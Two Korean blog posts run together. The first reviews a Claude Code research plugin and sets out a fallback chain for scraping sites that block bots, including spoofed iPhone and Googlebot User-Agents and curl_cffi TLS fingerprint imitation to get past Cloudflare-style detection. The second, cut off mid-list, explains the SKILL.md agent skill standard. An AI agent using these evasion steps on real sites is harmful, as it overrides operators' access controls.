GPTaku Deep Research v2.2.0 요약

7단계로 돌아가는 멀티에이전트 파이프라인으로, 공식 문서·기술 블로그·학술 자료를 병렬로 수집하고 출처를 교차 검증한다. v2.2.0의 핵심은 AI가 막히던 사이트에 대한 폴백 체인이다. 모바일 UA 위장부터 Playwright 브라우저 자동화까지 6단계를 순서대로 시도하는데, 네이버 블로그가 주요 타깃이다.

1. GPTaku Plugin 소개

GPTaku란?

GPTaku는 Claude Code를 사용하는 "AI 네이티브" 개발자/비개발자를 위한 플러그인 마켓플레이스이다.

GitHub 계정 fivetaku가 운영하며, 2026년 3월 2일 첫 커밋 이후 현재 9개 플러그인이 등록되어 있다.

(저장소 생성일은 2월 21일).

"AI Native"란?

GPTaku README에는 대상 독자를 다음과 같이 정의하고 있다.

"AI Native란 AI를 단순히 도구로 쓰는 게 아니라, 기획부터 실행까지 AI를 자연스럽게 녹여내는 사람을 말합니다. 본인이 하는 일에 AI를 적용해 실질적인 성과를 만들려면, 결국 자기 자신이 먼저 AI Native해져야 합니다. 하지만 그 과정은 쉽지 않습니다. 개발 경험이 없는 사람에게는 하나하나가 새로운 벽이고, AI와 협업하는 방법 자체를 배워가야 합니다."

개발 경험이 없는 사람도 사용할 수 있도록 한국어 트리거와 인터랙티브 UI를 적극 활용한다.

GitHub: https://github.com/fivetaku/gptaku_plugins
라이선스: MIT
플러그인 수: 현재 9개 (2026년 3월 기준)
대상: Claude Code 사용자

플러그인 마켓플레이스 구조

GPTaku 마켓플레이스는 .claude-plugin/marketplace.json 파일을 통해 플러그인 목록을 관리한다. 각 플러그인은 Git 서브모듈로 별도 저장소를 가리킨다. 예를 들어 deep-research의 소스는 https://github.com/fivetaku/deep-research-kit.git이다.

플러그인 등록 구조

마켓플레이스 URL을 한 번 등록하면, 해당 저장소의 marketplace.json에 선언된 모든 플러그인을 /plugin install로 설치할 수 있다. 각 플러그인은 독립적인 Git 저장소로 관리되어 개별 업데이트가 가능하다.

전체 플러그인 목록 (2026년 3월 기준)

현재 9개의 플러그인이 마켓플레이스에 등록되어 있다.

플러그인 이름	설명
`docs-guide`	llms.txt 패턴 기반 공식 문서 페처, 68+ 라이브러리 지원
`git-teacher`	비개발자를 위한 Git/GitHub 온보딩, 한국어 지원
`vibe-sunsang`	바이브 코더를 위한 AI 멘토 에이전트, 4가지 워크스페이스 유형
`deep-research`	7단계 딥리서치 파이프라인, 멀티에이전트 출처 검증 (이 글의 주인공)
`pumasi`	Claude PM + Codex CLI 병렬 개발자 조합
`show-me-the-prd`	인터뷰 방식의 PRD 생성기
`kkirikkiri`	자연어 AI 팀 빌더, 멀티모델 지원
`skillers-suda`	4-페르소나 스킬 빌더 (바이브 코더용)
`nopal`	Google Workspace 오케스트레이션 (9개 서비스: Gmail·Calendar·Drive·Sheets·Docs·Slides·Chat·Tasks·Meet, gws CLI)

2. 설치 방법

사전 확인사항

설치 전 환경을 한 번 점검한다. 필수 항목만 갖춰도 기본 동작은 문제없으며, 권장 항목을 추가할수록 네이버 블로그 접근 성공률이 높아진다.

항목	필수/권장	비고
Claude Code CLI	필수	버전 무관. 플러그인 시스템은 Claude Code에 내장
Python 3.10+	권장	Tier 2.5 Step 5 (`curl_cffi`) 사용 시 필요
Perplexity MCP	권장	Tier 1 활성화. 네이버 블로그 접근 안정성 대폭 향상 (perplexity.ai에서 API 키 발급 필요)
Playwright MCP	선택	Tier 2.5 Step 6. JS 렌더링 사이트 완전 자동화
Windows 환경	-	WSL2 필수 (`wsl --install`). macOS/Linux는 직접 실행 가능

마켓플레이스 등록 (최초 1회)

Claude Code에서 아래 명령어로 GPTaku 마켓플레이스를 등록한다. 이 과정은 최초 한 번만 하면 된다.

/plugin marketplace add https://github.com/fivetaku/gptaku_plugins.git

플러그인 설치

마켓플레이스 등록 후, deep-research 플러그인을 설치한다.

# 특정 플러그인 바로 설치
/plugin install deep-research

# 또는 목록을 보고 선택 (인터랙티브)
/plugin install

중요: 설치/업데이트 후 재시작 필수

플러그인 설치 또는 업데이트 후에는 반드시 Claude Code를 재시작해야 새 플러그인이 인식된다.

설치 확인

Claude Code를 재시작한 후, 아래 명령어로 플러그인이 정상 등록됐는지 확인한다.

# 설치된 플러그인 확인 (/plugin 인터랙티브 UI의 Installed 탭)
/plugin

# 딥리서치가 동작하는지 바로 테스트
/deep-research status

/plugin의 Installed 탭에 deep-research가 보이면 설치 성공이다. 보이지 않으면 마켓플레이스 등록이 제대로 되었는지 확인하고 Step 1부터 다시 진행한다.

업데이트

플러그인 업데이트가 배포되면 아래 명령어로 최신 버전을 받는다.

/plugin update

사용 방법 (트리거 명령어)

설치 후 Claude Code에서 다음 방식으로 딥리서치를 시작할 수 있다.

# 슬래시 명령어
/deep-research [주제]

# 자연어 트리거 (한국어 지원)
딥리서치 [주제]
[주제]에 대해 리서치해줘

# 세션 재개
/deep-research resume [session_id]

# 진행 상황 확인
/deep-research status

3. Deep Research 7단계 파이프라인

deep-research 플러그인의 핵심은 7단계 멀티에이전트 리서치 파이프라인이다. 검색과 요약뿐 아니라 출처 삼각검증과 할루시네이션 방지까지 파이프라인에 포함되어 있다.

각 단계별 설명

Phase 1: 질문 범위 설정 (Question Scoping)

AskUserQuestion UI를 통해 인터랙티브하게 리서치 범위를 확정한다. 출력 형식, 대상 독자, 선호 출처 유형 등을 사전에 물어본다.

Phase 2: 검색 계획 수립 (Retrieval Planning)

주제를 3~5개 하위 토픽으로 분해하고, 각각에 맞는 검색 쿼리를 생성한다. 쿼리에는 항상 현재 연도가 자동 추가되어 최신 정보를 우선한다.

Phase 3: 병렬 쿼리 실행 (Iterative Querying)

백그라운드 에이전트들이 웹, 학술, 기술 자료를 동시에 병렬 검색한다. 이 단계에서 v2.2.0의 Tier 2.5 폴백이 실행된다 (4장에서 상세 설명).

Phase 4: 출처 삼각검증 (Source Triangulation)

핵심 주장은 반드시 2개 이상의 독립적 출처로 검증한다. 단일 출처의 주장은 검증 불가(Unverified) 태그가 붙는다.

Phase 5: 지식 통합 (Knowledge Synthesis)

에이전트들이 수집한 정보를 하나로 합친다. 같은 내용이 여러 출처에서 나오면 중복을 제거하고, 출처끼리 내용이 엇갈리면 그 충돌을 명시한 채 보고서에 반영한다.

Phase 6: 품질 보증 (Quality Assurance)

할루시네이션 체크, 인용 검증, 완성도 검토를 수행한다. 검증되지 않은 수치나 주장은 명시적으로 표시된다.

Phase 7: 출력 패키징 (Output Packaging)

최종 보고서, 참고문헌, 선택적 인터랙티브 HTML 웹사이트를 생성한다.

출력 파일 구조

리서치 결과는 아래 폴더 구조로 저장된다. 세션 상태가 저장되어 중간에 중단해도 재개할 수 있다.

RESEARCH/{주제}_{타임스탬프}/
├── state.json                    # 세션 상태 (재개용)
├── README.md                     # 리서치 개요
├── artifacts/                    # 중간 산출물
│   ├── research_plan.json       # 리서치 계획
│   ├── agent_results/           # 에이전트 수집 결과
│   └── drafts/                  # 초안
├── outputs/
│   ├── 00_executive_summary.md  # 핵심 요약
│   ├── 01_full_report/          # 전체 보고서
│   ├── 02_appendices/           # 부록
│   └── comparison_data.json
├── sources/
│   ├── sources.jsonl            # 출처 메타데이터
│   ├── bibliography.md          # 참고문헌
│   └── quality_report.md        # 품질 보고서
└── website/                      # 인터랙티브 HTML (선택)
    ├── index.html
    ├── styles.css
    └── script.js

4. v2.2.0 핵심 업데이트: 네이버 블로그 접근

왜 AI는 네이버 블로그를 못 읽나?

네이버 블로그(blog.naver.com)의 PC 버전은 봇 접근이 어려운 구조를 가지고 있다.

User-Agent 검사: 일반적인 봇/크롤러 UA를 차단한다 (tool_strategy.md에서 "UA 차단 우회"를 Step 1으로 제시)
iframe 구조: PC 버전의 실제 콘텐츠가 mainFrame iframe 내부에 있어 단순 HTML 파싱으로는 내용을 얻기 어렵다
JavaScript 의존: 콘텐츠 일부가 클라이언트 JavaScript로 렌더링된다. 단, 모바일 버전(m.blog.naver.com)은 상대적으로 단순한 HTML 구조로 curl 접근이 가능하다

참고: TLS 핑거프린트 차단

네이버 블로그 자체가 TLS 핑거프린트로 차단하는 것은 확인되지 않았다. tool_strategy.md에서 TLS 핑거프린트 우회(curl_cffi)는 Cloudflare 등 고급 봇 탐지 서비스가 적용된 사이트를 위한 것이다. 네이버 블로그에는 주로 모바일 UA 위장(Step 1)과 RSS(Step 2)가 유효하다.

결과적으로 Claude Code의 기본 WebFetch 도구로는 네이버 블로그 본문을 제대로 가져오지 못했다. 한국어 기술 정보 중 상당량이 네이버 블로그에 있다 보니, AI 리서치에서 자주 공백이 생기는 지점이었다.

Tool 전략의 Tier 구조

v2.2.0은 tool_strategy.md 파일에 사이트 접근 전략을 계층화했다. 빠르고 간단한 방법을 먼저 시도하고, 실패하면 더 강력한 방법으로 단계적으로 넘어간다.

계층	도구	특징
Tier 1	Perplexity MCP, Firecrawl MCP, Google Search MCP, Exa MCP	MCP 설치 시 우선 사용. 네이버 블로그 포함 대부분 사이트 접근 가능
Tier 2	WebSearch + WebFetch (기본 내장)	MCP 미설치 시 기본 동작. 티스토리, 브런치 등 일반 사이트에서 동작
Tier 2.5 ★ 신규	6단계 폴백 체인	Tier 2에서 막힌 사이트를 순차적으로 우회 (네이버 블로그 등)

Tier 2.5 폴백 6단계 체인 상세

이것이 v2.2.0의 핵심이다. 접근이 차단된 사이트를 만나면 아래 6단계를 순서대로 시도한다.

Step 1: 모바일 URL + iPhone User-Agent

네이버 블로그 URL을 모바일 버전으로 변환하고, iPhone Safari User-Agent 헤더와 한국어 Accept-Language를 설정해서 curl 요청을 보낸다.

# blog.naver.com/{ID}/{NO}
#   → m.blog.naver.com/PostView.naver?blogId={ID}&logNo={NO}
# 응답에서 se-text-paragraph CSS 클래스 추출

모바일 버전의 차이

네이버 블로그 PC 버전(blog.naver.com)은 iframe 구조로 본문이 숨겨져 있지만, 모바일 버전(m.blog.naver.com)은 상대적으로 간단한 HTML 구조를 사용해 텍스트 추출이 용이하다.

Step 2: RSS 피드 활용

네이버 블로그는 블로그 단위로 RSS 피드를 제공한다. API 키 없이 무료로 최대 50개 포스트의 제목, 링크, 본문 요약(최대 300자)을 가져올 수 있다. 단, RSS 활성화 여부는 블로그마다 다르며, 비활성화된 블로그는 빈 피드를 반환한다.

https://rss.blog.naver.com/{BLOG_ID}.xml
# 최근 50개 포스트, 제목 + 링크 + 300자 요약 반환

Step 3: OGP 메타 태그 추출

Googlebot User-Agent를 사용해 페이지의 <meta property="og:..."> 태그에서 최소한 제목과 설명을 추출한다. 본문 전체는 얻지 못하더라도 키워드 파악에 활용된다.

Step 4: 구글 캐시 / Wayback Machine

Google 캐시(webcache.googleusercontent.com)와 인터넷 아카이브(web.archive.org)의 캐시 버전을 시도한다. 단, Google은 2024년 2월 캐시 링크 제거를 발표하고 9월에 완전 종료했으므로 webcache.googleusercontent.com은 현재 대부분 접근 불가 상태일 수 있다. Wayback Machine이 실질적인 폴백 역할을 하며, 네이버처럼 iframe 기반 사이트는 아카이브에서도 본문 추출에 실패할 수 있다.

Step 5: curl_cffi (TLS 핑거프린트 우회)

Python 라이브러리 curl_cffi를 사용한다. 이 라이브러리는 Chrome 브라우저의 TLS 핑거프린트를 그대로 모방해서 Cloudflare와 같은 고급 봇 탐지 시스템을 우회한다.

pip install curl-cffi  # Python 3.10+ 필요

curl_cffi가 필요한 이유

일반 Python requests나 curl은 TLS 핑거프린트에서 일반적인 CLI 패턴을 보여 봇으로 탐지된다. curl_cffi는 실제 Chrome 브라우저와 동일한 TLS/JA3 핑거프린트를 생성해 이를 우회한다. PyPI 패키지명은 curl-cffi(하이픈)이며 Python 3.10 이상이 필요하다.

Step 6: Playwright MCP (최후 수단)

가장 강력하지만 가장 느린 방법이다. 실제 브라우저를 자동화해서 JavaScript 렌더링까지 완전히 처리한다. SPA 사이트라면 거의 모든 경우에 콘텐츠를 가져올 수 있다. Playwright MCP가 설치된 경우에만 사용 가능하다.

Playwright MCP 설치 명령어:

claude mcp add playwright npx @playwright/mcp@latest

폴백 동작 및 태그 처리

Tier 2.5 폴백으로 수집한 소스에는 via_fallback 태그가 출처 신뢰도 메타데이터에 자동으로 추가된다.

Playwright MCP가 없을 때: Step 6을 건너뛰고 계속 진행한다. 오류나 세션 중단은 없다.
모든 폴백(1~6단계)이 실패할 때: 해당 URL을 sources/failed_urls.txt에 기록하고, URL에서 키워드를 추출해 새로운 WebSearch를 자동 실행해 대체 출처를 탐색한다.

도메인별 라우팅 테이블

v2.2.0의 tool_strategy.md에는 주요 한국 사이트에 대한 라우팅이 명시되어 있다.

도메인	전략	비고
`blog.naver.com`	모바일 URL + iPhone UA → RSS	Tier 2.5 대표 케이스
`*.tistory.com`	WebFetch (정상 동작) 또는 RSS	Tier 2로 해결 가능
`brunch.co.kr`	WebFetch (정상 동작)	Tier 2로 해결 가능
`*.naver.com` (기타 서브도메인)	Playwright MCP	완전한 브라우저 자동화 필요
`linkedin.com`	WebSearch → WebFetch	Tier 2로 해결 가능
페이월 사이트	Wayback Machine → 대안 출처 검색 (Google Cache는 2024년 종료)	완전 우회 불가, 대안 검색

5. 버전 히스토리

deep-research-kit은 약 한 달 사이에 꾸준한 업데이트가 있었다. 아래 날짜는 저장소 CHANGELOG.md 기준이며, 실제 git 커밋 날짜와는 다를 수 있다 (v2.2.0은 일치).

버전	날짜	주요 변경사항
1.0.0	2026-02-23	최초 릴리스. AI 기반 딥 리서치 스킬, 로컬 저장소에 리서치 결과 자동 저장
1.0.1	2026-02-24	README 영문 통일, 로컬 저장 이점 설명 보강
1.1.0	2026-02-25	CCPS v2.0 플러그인 표준 리팩토링
2.0.0	2026-02-28	7단계 멀티에이전트 파이프라인, 구조화된 보고서 생성
2.1.0	2026-03-10	버그수정: `AskUserQuestion`을 `allowed-tools`에서 제거 (자동승인 시 UI 미표시 버그)
2.2.0 ★	2026-03-16	Tier 2.5 폴백 전략 (6단계 체인): 모바일 UA curl, RSS, OGP 메타, Google 캐시/Wayback, curl_cffi, Playwright MCP. Tier 1에 Perplexity MCP 추가

6. 실제 활용 시나리오

한국 기술 트렌드 리서치

국내 개발자들의 실제 경험이 담긴 네이버 블로그 포스트를 공식 문서와 함께 수집할 수 있다. 예를 들어, 특정 라이브러리의 한국어 사용 사례나 국내 클라우드 서비스 실사용 후기를 자동으로 모아 분석할 수 있다.

예시 명령어

딥리서치 2026년 국내 AI 코딩 도구 실사용 트렌드

기술 의사결정 지원

새 기술 도입 전, 국내외 사례를 종합적으로 수집한다. 영문 공식 문서(Tier 2 WebFetch)와 국내 실사용 후기(Tier 2.5 네이버 블로그 RSS)를 동시에 가져와 비교 분석 보고서를 자동 생성한다.

경쟁 분석 리서치

국내 서비스의 사용자 리뷰, 커뮤니티 반응, 기술 블로그 포스트를 자동 수집한다. 네이버 블로그, 티스토리, 브런치까지 한 번에 커버할 수 있게 됐다.

실전 적용 팁

Perplexity MCP를 설치하면 Tier 1이 작동해 네이버 블로그 접근이 더 안정적이다
curl_cffi 설치(pip install curl-cffi)는 Tier 2.5 Step 5 활성화를 위해 사전에 해두는 것이 좋다 (Python 3.10+ 필요)
Playwright MCP까지 설치하면 JS 렌더링이 필요한 대부분의 한국 웹사이트 접근이 가능해진다 (로그인·페이월 사이트 제외)
/deep-research resume을 이용해 긴 리서치를 여러 세션에 나눠 진행할 수 있다

7. 한계점과 주의사항

100% 접근이 보장되지 않는다

GPTaku 플러그인 개발자도 Threads에서 블로그·뉴스 접근이 이전보다 개선되었지만 100% 가져오지는 못한다는 취지의 글을 올린 바 있다. Tier 2.5 폴백이 모든 경우를 해결하지는 않는다.

iframe 캐시 문제: 구글 캐시나 Wayback Machine도 네이버 블로그 iframe 구조에서는 실패할 수 있다
페이월 콘텐츠: 유료 콘텐츠는 어떤 방법으로도 우회하지 않는다 (단, 대안 출처를 자동 검색)
Playwright MCP 의존성: Step 6은 Playwright MCP가 별도 설치되어야 사용 가능하다
속도: 폴백 단계가 많을수록 전체 리서치 시간이 길어진다. Playwright MCP까지 내려가면 상당히 느려질 수 있다
로그인 필요 콘텐츠: 네이버 블로그 중 비공개 또는 성인 인증이 필요한 글은 접근이 불가하다

8. 커뮤니티 반응

Threads: @gptaku_ai 최근 활동

GPTaku 운영자(@gptaku_ai)는 Threads에서 꾸준히 활동 중이다. 이번 주 가장 눈에 띈 포스트는 deep-research가 아니라 Claude Code 에이전트 팀즈용 팀빌딩 플러그인(kkirikkiri) 공개였다.

https://www.threads.com/@gptaku_ai?hl=ko

스레드 클코대장 지피타쿠님(@gptaku_ai) • Threads, 자유로운 소통 공간

팔로워 1.6만명 • 스레드 921개 • gptaku@axwith.com. @gptaku_ai님과의 최근 대화를 확인해보세요.

www.threads.com

"클로드코드 에이전트 팀즈 얘기는 들어봤는데 어떻게 써야 하는지는 제대로 모르는 사람들이 많은것 같더라. 그래서 준비했어!! 끼리끼리 원하는 팀을 만들어주는 팀 빌딩 플러그인이야."

— @gptaku_ai, Threads (2026년 3월 중)

9. 결론

솔직히 말하면, v2.2.0이 네이버 블로그를 항상 뚫는다고 기대하면 곤란하다.

개발자 본인도 Threads에서 "이전보다 많이 개선됐지만 100%는 아니다"라고 밝혔다. 그럼에도 6단계 폴백 체인 구조 자체는 꽤 합리적이다.

모바일 UA → RSS → OGP 메타 → 캐시 → TLS 우회 → 브라우저 자동화 순서는 사실 단순한 원칙이다: 느린 방법은 최후의 수단으로 미뤄두고, 빠른 걸 먼저 써본다. 특별히 영리한 건 아닌데, 그냥 잘 작동하도록 만들어진 구조다.

한국어 기술 정보 중 상당 부분이 아직도 네이버 블로그에 있다. 영문 공식 문서 위주로 돌아가던 AI 리서치에 국내 개발자 후기와 한국어 튜토리얼이 더 많이 들어오게 된 건 분명한 변화다.

핵심 요약

설치: /plugin marketplace add https://github.com/fivetaku/gptaku_plugins.git → /plugin install deep-research
사용: /deep-research [주제] 또는 한국어 트리거 딥리서치 [주제]
네이버 블로그: 모바일 URL + iPhone UA가 기본 전략, RSS 피드가 백업
더 강력하게: Perplexity MCP(Tier 1) + Playwright MCP(Tier 2.5 Step 6) 설치 권장
주의: 모든 접근이 100% 성공하지는 않으며, 별도 크롤링이 필요한 케이스도 있다

Agent Skill 오픈 표준(Claude Skills는 Claude 전용이 아니다) - SKILL.md 하나로 Claude, Cursor, Copilot, Gemini 전부 쓰는 방법

갓대희 — Thu, 19 Mar 2026 23:12:47 +0900

안녕하세요! 갓대희입니다.

AI 도구를 새로 바꿀 때마다 이런 생각 해본 적 있지 않나? "Claude Code에서 공들여 만든 커스텀 설정, Cursor로 넘어가면 다시 처음부터 만들어야 하나?" 아니면 팀원이 Copilot을 쓰고 나는 Gemini CLI를 쓰는데, 같은 코딩 컨벤션 스킬을 각자 따로 관리하고 있지 않나?

"Claude Skills는 Claude Code 전용이겠지?"

아니다. Agent Skill(SKILL.md)은 Claude, Codex, Gemini, Cursor, Copilot 등 어디서나 작동하는 크로스플랫폼 오픈 표준이다.

2025년 12월에 오픈 표준으로 공개된 이 규격은 현재 32개 이상의 AI 에이전트에서 공식 지원받고 있다. 한 번 만들어두면 Claude Code에서도, Cursor에서도, GitHub Copilot에서도 그대로 쓸 수 있다는 뜻이다.

오늘은 Agent Skill 표준의 탄생 역사부터 SKILL.md 스펙, 크로스플랫폼 지원 현황, 주목할 스킬 6가지, 그리고 5분 만에 나만의 스킬을 만드는 방법까지 빠짐없이 정리한다. 지금 쓰는 에이전트가 무엇이든 바로 적용할 수 있다.

오늘 정리해볼 것들

Agent Skill 오픈 표준의 탄생 역사 — Anthropic → 오픈 표준 공개까지
SKILL.md 완전 스펙 — frontmatter, 디렉토리 구조, Progressive Disclosure 3단계
32개+ 플랫폼 설치 경로 — Claude, Codex, Gemini, Cursor, Copilot 등 정확한 경로
주목할 스킬 6가지 — Frontend Design, Planning with Files, Superpowers, Humanizer, MCP Builder, Dev-Browser
처음 만드는 SKILL.md 템플릿 — 복붙해서 바로 쓸 수 있는 최소 예시
스킬 찾는 곳 3가지 — skills.sh, anthropics/skills, agentskills.io
실제 사용 시나리오 3가지 — 에이전트 이전, 팀 공유, Before/After 비교
흔한 함정 4가지 — 토큰 낭비, 경로 혼란, description 모호함, name 규칙 위반

Agent Skill이란? — Claude 전용이 아니다
- 흔한 오해 깨기
- 오픈 표준의 탄생 역사 (2025-12 공개)
- 현재 생태계 규모
SKILL.md 완전 스펙
- 디렉토리 구조
- Frontmatter 필드 정의
- Progressive Disclosure 3단계
크로스플랫폼 지원 현황
- 32개+ 공식 지원 플랫폼
- 플랫폼별 설치 경로
- 표준 경로 ~/.agents/skills/
주목할 스킬들
- Frontend Design
- Planning with Files
- Superpowers
- Humanizer
- MCP Builder
- Dev-Browser / Superpowers-Chrome
스킬 직접 만들기
- 최소 예시 (복붙 가능)
- 작성 팁 5가지
스킬 찾는 곳
실제 사용 시나리오 3가지
- Claude Code → Codex CLI 이전
- 팀 레포 공유 (.agents/skills/)
- Frontend Design 스킬 Before/After
주의사항 — 흔한 함정 4가지
2026년 3월 커뮤니티 최신 동향
- 이번 주 신규 스킬 PR 하이라이트
- npx skills v1.1.1 신기능
- 커뮤니티 핵심 논쟁 — AGENTS.md vs SKILL.md
- 실용 팁 — description 표현 방식, 인스트럭션 한도
- SkillsBench 논문 핵심 결론
결론 — 지금 시작하기

1. Agent Skill이란? — Claude 전용이 아니다

흔한 오해 깨기

"Claude Skills"라는 이름 때문에 Claude Code 전용으로 오해하는 경우가 많다.

실제로는 Agent Skill은 특정 벤더에 종속되지 않는 오픈 표준 규격이다. SKILL.md 파일 형식을 따르는 모든 스킬은 표준을 지원하는 어떤 AI 에이전트에서도 작동한다.

이런 오해를 하고 있다면 수정이 필요하다

"Claude Code에서만 쓸 수 있겠지" → 아니다. Cursor, Copilot, Gemini CLI에서도 된다
"Anthropic이 만든 거면 Claude에 최적화되어 있겠지" → 표준을 오픈했기 때문에 어디서나 동일하게 동작한다
"직접 만들기 어렵겠지" → SKILL.md 하나로 5분이면 만든다

오픈 표준의 탄생 역사

Agent Skill 표준이 지금의 모습이 되기까지의 타임라인이다.

시점	내용
2025-12-16	agentskills/agentskills 저장소 첫 커밋 (init)
2025-12-18	오픈 표준으로 공개 — agentskills.io 론칭, agentskills/agentskills 저장소 공개 (Apache 2.0)
이후	Vercel Labs가 skills.sh 디렉토리 사이트 + npx skills CLI 제작. Cursor, GitHub Copilot, Gemini CLI 등 주요 플랫폼들이 순차적으로 공식 지원 추가
2026-03 현재	32개 이상의 AI 에이전트/IDE가 공식 지원. agentskills/agentskills 저장소 13,220 (2026-03-16 기준)

현재 생태계 규모

2026-03-16 기준 확인된 수치

agentskills/agentskills (표준 저장소): 13,220, Apache 2.0
anthropics/skills (Anthropic 공식 스킬 모음): 94,479
공식 지원 플랫폼: 32개+ (agentskills.io 기준)
공식 문서: agentskills.io

agentskills 커뮤니티가 표준을 운영하고, Anthropic이 공식 스킬 모음을 제공하며, Vercel이 CLI/디렉토리를 담당하는 구조다. 어떤 단일 기업에도 종속되지 않는 오픈 생태계라는 점이 핵심이다.

2. SKILL.md 완전 스펙

Agent Skill의 핵심은 SKILL.md 파일 하나다. YAML frontmatter + Markdown 본문으로 이루어진 단순한 텍스트 파일이지만, AI 에이전트가 이 파일을 읽어 어떤 기능을 수행할지 결정한다.

디렉토리 구조

스킬 하나는 하나의 디렉토리로 구성된다. 필수 파일은 SKILL.md 뿐이고, 나머지는 모두 선택이다.

my-skill/
├── SKILL.md          ← 필수. 스킬의 전부가 여기에
├── scripts/          ← 선택. 스킬이 사용할 스크립트/도구
│   ├── setup.sh
│   └── validate.py
├── references/       ← 선택. 참고 문서, 예시 파일
│   ├── example.md
│   └── patterns.md
└── assets/           ← 선택. 이미지, 기타 리소스

SKILL.md Frontmatter 필드 정의

SKILL.md는 파일 상단의 YAML frontmatter와 그 아래의 Markdown 본문으로 구성된다. frontmatter에서 스킬의 메타데이터를 정의한다.

---
name: my-awesome-skill          # 필수. 최대 64자. 소문자+숫자+하이픈만
description: |                  # 필수. 최대 1024자
  이 스킬은 무엇을 하는지 한 문단으로 설명한다.
  언제 호출되어야 하는지도 여기에 적는다.
license: MIT                       # 선택
compatibility: |               # 선택. 최대 500자. 지원 플랫폼, 버전 제약 등
  Claude Code 1.0+, Cursor 0.40+
  Node.js 18+ required for scripts/
metadata:                         # 선택. 임의 키-값 쌍
  version: 1.2.0
  author: your-name
  tags: [productivity, frontend]
allowed-tools: Bash(git:*) Bash(npm:*) Read  # 선택. 실험적 기능. 허용할 도구 목록
---

필드	필수	제약 / 설명
`name`	필수	최대 64자. 소문자 영문자·숫자·하이픈(-)만 허용
`description`	필수	최대 1024자. Tier 1에서 로딩되는 핵심 정보. 언제 활성화되는지 명확히 기술
`license`	선택	SPDX 라이선스 식별자 권장 (MIT, Apache-2.0 등)
`compatibility`	선택	최대 500자. 지원 플랫폼, 버전 요구사항, 의존성 명시
`metadata`	선택	임의 키-값 쌍. version, author, tags 등 자유 형식
`allowed-tools`	선택	실험적 기능. 스킬이 사용할 수 있는 도구(Bash, Read, Write 등)를 제한

Progressive Disclosure 3단계

Agent Skill의 가장 중요한 설계 원칙은 Progressive Disclosure다. 에이전트가 모든 스킬의 전체 내용을 한꺼번에 로딩하면 컨텍스트 윈도우가 금방 채워진다. 그래서 3단계에 걸쳐 필요한 만큼만 로딩한다.

Tier 1 — 세션 시작 시 자동 로딩

로딩 내용: name + description 만
토큰 비용: 약 50~100 토큰 / 스킬
역할: "이런 요청이 들어오면 이 스킬을 써야겠다"는 판단 기준. 에이전트가 모든 설치된 스킬의 Tier 1을 읽고 대기한다.

Tier 2 — 스킬 활성화 시 로딩

로딩 내용: SKILL.md 전체 본문
권장 크기: 5,000 토큰 미만
역할: 실제 수행 지침. 에이전트가 "이 스킬이 필요하다"고 판단한 뒤 전체 본문을 읽고 작업을 수행한다.

Tier 3 — 필요 시 온디맨드 로딩

로딩 내용: scripts/, references/, assets/
역할: 보조 리소스. 스킬 본문에서 참조할 때만 로딩된다. 대용량 참고 문서나 실행 스크립트 등을 여기에 넣는다.

실전 팁: description은 "언제 나를 써야 하는지"를 명확하게 써야 한다. Tier 1에서 에이전트가 이 텍스트만 보고 스킬 활성화 여부를 결정하기 때문이다. "코드 리뷰 요청, PR 피드백, 코드 개선 제안 시 활성화"처럼 구체적인 트리거 조건을 포함하는 것이 좋다.

3. 크로스플랫폼 지원 현황

2026-03-16 기준 agentskills.io에 따르면 32개 이상의 플랫폼이 Agent Skills 표준을 공식 지원한다. 각 플랫폼별로 스킬 설치 경로가 다르기 때문에, 정확한 경로를 한 번 파악해두는 것이 중요하다.

주요 플랫폼별 설치 경로

플랫폼	전역(Global) 설치 경로	프로젝트 설치 경로
Claude Code	`~/.claude/skills/`	`.claude/skills/`
Codex CLI	`~/.agents/skills/` (권장) `~/.codex/skills/` (레거시)	`.agents/skills/`
Gemini CLI	`~/.gemini/skills/`	`.agents/skills/`
Cursor	`~/.cursor/skills/`	`.cursor/skills/`
Windsurf	`~/.codeium/windsurf/skills/`	`.agents/skills/`
GitHub Copilot	`~/.copilot/skills/`	`.copilot/skills/`
OpenCode	`~/.config/opencode/skills/`	`.agents/skills/`

경로 표기 안내: 플랫폼별 경로는 각 클라이언트 구현체 코드 기반 수치이며, 공식 표준 문서(agentskills.io)는 ~/.<client>/skills/ 패턴만 명시한다. 실제 경로는 버전에 따라 다를 수 있으므로 각 도구 공식 문서에서 확인하자. 참고로, ~/.claude/skills/는 관행적으로 널리 사용되는 경로이나, agentskills.io 공식 표준은 ~/.agents/skills/이다.

크로스플랫폼 표준 경로: ~/.agents/skills/

여러 AI 에이전트를 동시에 사용하는 개발자라면 매번 각각 경로에 복사해야 하는 번거로움이 있다. 이를 해결하기 위한 크로스플랫폼 표준 경로가 있다.

표준 크로스플랫폼 경로

전역: ~/.agents/skills/
프로젝트: .agents/skills/

Codex CLI는 ~/.agents/skills/를 스캔 경로로 지원하며, 다른 플랫폼들도 이 경로를 점차 지원하는 방향으로 이동 중이다.

가장 실용적인 방법은 ~/.agents/skills/에 스킬을 저장하고, 각 에이전트별 디렉토리에는 심볼릭 링크(symlink)를 거는 방식이다.

# 표준 경로에 스킬 보관
mkdir -p ~/.agents/skills/my-skill

# Claude Code용 심볼릭 링크
ln -s ~/.agents/skills/my-skill ~/.claude/skills/my-skill

# Cursor용 심볼릭 링크
ln -s ~/.agents/skills/my-skill ~/.cursor/skills/my-skill

# npx skills CLI 사용 (자동으로 경로 처리)
npx skills add my-skill

4. 주목할 스킬들

커뮤니티 반응이 좋고 실용성이 검증된 스킬들을 골라 소개한다. GitHub 스타 수는 모두 2026-03-16 기준이며, 이후 변동될 수 있다.

1. Frontend Design — "AI 티" 없애기

저장소: github.com/anthropics/skills (전체 94,479)

제작: Anthropic 공식

AI가 생성한 UI를 보면 금방 알아볼 수 있다. Inter 폰트, 파란색 그라디언트, 카드 UI의 과다 사용... Frontend Design 스킬은 이런 패턴을 명시적으로 금지하고, 독창적인 디자인을 유도한다.

금지 폰트

Inter, Roboto, Arial, system fonts, Space Grotesk — "기본값으로 보이는" 폰트 전체 금지

금지 색상 패턴

흰 배경 위 보라색 그라디언트 — AI 생성 UI의 가장 흔한 패턴

선택 가능한 디자인 방향

brutalist/raw: 거친 날것 그대로의 웹 디자인
retro-futuristic: 복고풍 미래 감성
organic/natural: 자연스럽고 유기적인 형태
luxury/refined: 고급스럽고 세련된 스타일
playful/toy-like: 장난감 같은 귀여운 감성
editorial/magazine: 잡지풍 레이아웃
art deco/geometric: 기하학적 아르데코
soft/pastel: 부드럽고 파스텔한 색감
industrial/utilitarian: 산업적이고 실용주의적
brutally minimal: 극단적 미니멀리즘 — 장식 0, 기능만
maximalist chaos: 과잉이 미학인 맥시멀리즘

